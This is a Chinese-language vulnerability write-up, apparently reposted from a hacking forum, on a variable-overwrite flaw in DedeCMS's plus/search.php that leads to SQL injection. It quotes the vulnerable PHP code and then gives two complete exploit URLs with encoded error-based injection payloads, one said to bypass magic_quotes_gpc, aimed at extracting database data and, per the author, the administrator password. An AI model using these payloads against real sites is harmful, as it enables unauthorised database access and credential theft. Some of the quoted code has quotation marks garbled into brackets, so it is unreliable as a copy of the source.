微博上看到就分析了一下,这个 漏洞 不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
作者: c4rp3nt3r@0x50sec.org Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
============
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
require_once(dirname(__FILE__).]/include/common.inc.php]); require_once(DEDEINC.]/arc.searchview.class.php]); $pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10; $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; $channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0; $kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1; $mid = (isset($mid) && is_numeric($mid)) ? $mid : 0; if(!isset($orderby)) $orderby=]; else $orderby = preg_replace([#[^a-z]#i], ], $orderby); if(!isset($searchtype)) $searchtype = ‘titlekeyword’; else $searchtype = preg_replace([#[^a-z]#i], ], $searchtype); if(!isset($keyword)){ if(!isset($q)) $q = ]; $keyword=$q; } $oldkeyword = $keyword = FilterSearch(stripslashes($keyword)); //查找栏目信息 if(empty($typeid)) { $typenameCacheFile = DEDEDATA.’/cache/typename.inc’; if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) ) { $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’); fwrite($fp, [<].]?php\r\n]); $dsql->SetQuery([Select id,typename,channeltype From `detest_arctype`]); $dsql->Execute(); while($row = $dsql->GetArray()) { fwrite($fp, [\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n]); } fwrite($fp, ‘?’.'>’); fclose($fp); } //引入栏目缓存并看关键字是否有相关栏目内容 require_once($typenameCacheFile); //$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个 // if(isset($typeArr) && is_array($typeArr)) { foreach($typeArr as $id=>$typename) { <font color=]Red]>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过 if($keyword != $keywordn) { $keyword = $keywordn; <font color=]Red]>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设 break; } } } }
然后plus/search.php文件下面定义了一个 Search类的对象 . 在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类. $this->TypeLink = new TypeLink($typeid) ;
TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
class TypeLink { var $typeDir; var $dsql; var $TypeID; var $baseDir; var $modDir; var $indexUrl; var $indexName; var $TypeInfos; var $SplitSymbol; var $valuePosition; var $valuePositionName; var $OptionArrayList; //构造函数/////// //php5构造函数 function __construct($typeid) { $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl']; $this->indexName = $GLOBALS['cfg_indexname']; $this->baseDir = $GLOBALS['cfg_basedir']; $this->modDir = $GLOBALS['cfg_templets_dir']; $this->SplitSymbol = $GLOBALS['cfg_list_symbol']; $this->dsql = $GLOBALS['dsql']; $this->TypeID = $typeid; $this->valuePosition = ]; $this->valuePositionName = ]; $this->typeDir = ]; $this->OptionArrayList = ]; //载入类目信息 <font color=]Red]>$query = [SELECT tp.*,ch.typename as ctypename,ch.addtable,ch.issystem FROM `detest_arctype` tp left join `detest_channeltype` ch on ch.id=tp.channeltype WHERE tp.id=’$typeid’ [;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿 if($typeid > 0) { $this->TypeInfos = $this->dsql->GetOne($query);
利用代码一 需要 即使magic_quotes_gpc = Off
http://www.2cto.com /plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
这只是其中一个利用代码… Search 类的构造函数再往下
……省略 $this->TypeID = $typeid; ……省略 if($this->TypeID==]0″){ $this->ChannelTypeid=1; }else{ $row =$this->dsql->GetOne([SELECT channeltype FROM `detest_arctype` WHERE id={$this->TypeID}]); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲 //现在不鸡肋了吧亲… $this->ChannelTypeid=$row['channeltype']; }
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
http://www.2cto.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
如果那个 数据库 里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站 原文：www.hackme.info/forum.php?mod=viewthread&tid=30
查看更多关于DedeCms V57 plus/search.php文件SQL注射 - 网站安全 - 自的详细内容...